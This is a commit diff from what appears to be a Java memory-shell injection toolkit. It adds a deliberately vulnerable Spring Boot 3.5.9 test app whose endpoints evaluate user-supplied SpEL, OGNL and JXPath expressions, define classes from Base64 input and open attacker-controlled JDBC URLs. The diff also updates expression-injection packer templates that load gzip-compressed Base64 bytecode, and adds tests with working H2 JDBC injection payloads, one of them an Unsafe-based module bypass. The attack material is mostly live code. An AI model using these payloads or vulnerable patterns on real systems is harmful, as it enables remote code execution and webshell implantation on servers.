fix: SpELGzipPacker class not found

This commit is contained in:
ReaJason
2026-05-24 22:28:22 +08:00
parent f0472d231b
commit 0a9a68ee7f
24 changed files with 569 additions and 7 deletions
@@ -43,7 +43,7 @@ jobs:
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
+1 -1
View File
@@ -41,7 +41,7 @@ jobs:
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
@@ -25,6 +25,7 @@ public class ContainerTool {
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
@@ -0,0 +1,90 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
public class SpringBoot359ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("eclipse-temurin:17.0.17_10-jdk")
.jarFile(ContainerTool.springBoot359JarFile)
.jakarta(true)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.SpringWebMvc)
.pidScript(ContainerTool.springbootPid)
.targetJdkVersion(Opcodes.V17)
.enableJspPackerTest(false)
.contextPath("")
.healthCheckPath("/test")
.supportedShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
))
.build();
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
.imageName("springboot3")
.server(Server.Tomcat)
.targetJdkVersion(Opcodes.V17)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
// ShellType.LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> tomcatCasesProvider() {
return generateTestCases(TOMCAT_CONFIG);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
}
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot359ExpressionContainerTest {
public static final String imageName = "springboot3";
@Container
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
.withCommand("java -jar /app/app.jar")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
);
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
@@ -11,7 +11,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
* @since 2024/12/13
*/
public class JXPathSpringGzipJDK17Packer implements Packer {
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
@Override
public String pack(ClassPackerConfig config) {
@@ -12,7 +12,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
* @since 2025/7/7
*/
public class OGNLSpringGzipJDK17Packer implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
@Override
@SneakyThrows
@@ -9,7 +9,7 @@ import com.reajason.javaweb.packer.Packers;
* @since 2024/12/13
*/
public class SpELSpringGzipJDK17Packer implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
+1
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@@ -43,6 +43,7 @@ include("vul:vul-springboot2")
include("vul:vul-springboot2-jetty")
include("vul:vul-springboot2-undertow")
include("vul:vul-springboot3")
include("vul:vul-springboot359")
include("vul:vul-springboot2-webflux")
include("vul:vul-springboot3-webflux")
include("vul:vul-playframework")
+8
View File
@@ -0,0 +1,8 @@
FROM eclipse-temurin:17.0.17_10-jdk
WORKDIR /app
COPY build/libs/vul-springboot3.jar /app/app.jar
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS -jar app.jar
+29
View File
@@ -0,0 +1,29 @@
plugins {
id("java")
id("war")
id("org.springframework.boot") version "3.5.9"
id("io.spring.dependency-management") version "1.1.7"
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter-web")
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("commons-beanutils:commons-beanutils:1.9.3")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.vul.springboot3;
public class ClassDefiner extends ClassLoader {
private ClassDefiner() {
}
public static Class<?> defineClass(byte[] code) {
return new ClassDefiner().defineClass(null, code, 0, code.length);
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.vul.springboot3;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class VulSpringboot3Application {
public static void main(String[] args) {
SpringApplication.run(VulSpringboot3Application.class, args);
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.vul.springboot3.controller;
import com.reajason.javaweb.vul.springboot3.ClassDefiner;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/b64")
public class Base64ClassLoaderController {
@PostMapping
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
byte[] bytes = Base64.getDecoder().decode(data);
Object o = ClassDefiner.defineClass(bytes).newInstance();
return o.toString();
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2025/12/6
*/
@RestController
@RequestMapping("/biginteger")
public class BigIntegerClassLoaderController extends ClassLoader {
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
Class<?> decoderClass = Class.forName("java.math.BigInteger");
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
}
@PostMapping
public void base64ClassLoader(String data) throws Exception {
byte[] bytes = decodeBigInteger(data);
defineClass(null, bytes, 0, bytes.length).newInstance();
}
}
@@ -0,0 +1,123 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
public class IndexController {
@RequestMapping("/test")
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
return "";
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
@GetMapping("/")
public String index() {
return "hello";
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
/**
* @author ReaJason
* @since 2025/6/27
*/
@RestController
public class JDBCController {
@PostMapping("/jdbc")
public void JDBC(String data) throws Exception {
try {
Connection connection = DriverManager.getConnection(data);
connection.close();
} catch (Throwable e) {
Throwable ex = e.getCause();
while (ex.getCause() != null) {
ex = ex.getCause();
}
if (!(ex instanceof ClassCastException)) {
throw e;
}
}
}
}
@@ -0,0 +1,20 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.apache.commons.jxpath.JXPathContext;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/jxpath")
public class JXPathController {
@PostMapping
protected Object doPost(String data) {
JXPathContext context = JXPathContext.newContext(null);
return context.getValue(data);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.vul.springboot3.controller;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/ognl")
public class OgnlController {
@RequestMapping
protected Object doPost(String data) {
OgnlContext context = new OgnlContext();
try {
return Ognl.getValue(data, context, context.getRoot());
} catch (OgnlException e) {
throw new RuntimeException(e);
}
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/spel")
public class SpELController {
/**
* 10000 长度限制,无法使用
*/
@PostMapping
public ResponseEntity<?> spel(String data) {
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
}
}
@@ -0,0 +1 @@
spring.application.name=vul-springboot3
@@ -0,0 +1,15 @@
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class CommandExec {
static {
try {
java.lang.Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
}
}
}
@@ -0,0 +1,54 @@
import com.reajason.javaweb.vul.springboot3.controller.JDBCController;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class JDBCTest {
@Test
void testJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String funcionName = "testJDBC";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
"String shellexec(String abc) throws java.lang.Exception{" +
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
"return \"test\"\\;" +
"}'\\;" +
"CALL " + funcionName + "('123')";
jdbcController.JDBC(str);
}
@Test
void testJDBC2() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Throwable{" +
"String base64Str=\"" + b64Bytecode + "\"\\;" +
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
"try {" +
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
" unsafeField.setAccessible(true)\\;" +
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
"} catch (Throwable e) {}" +
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
System.out.println(str);
jdbcController.JDBC(str);
}
}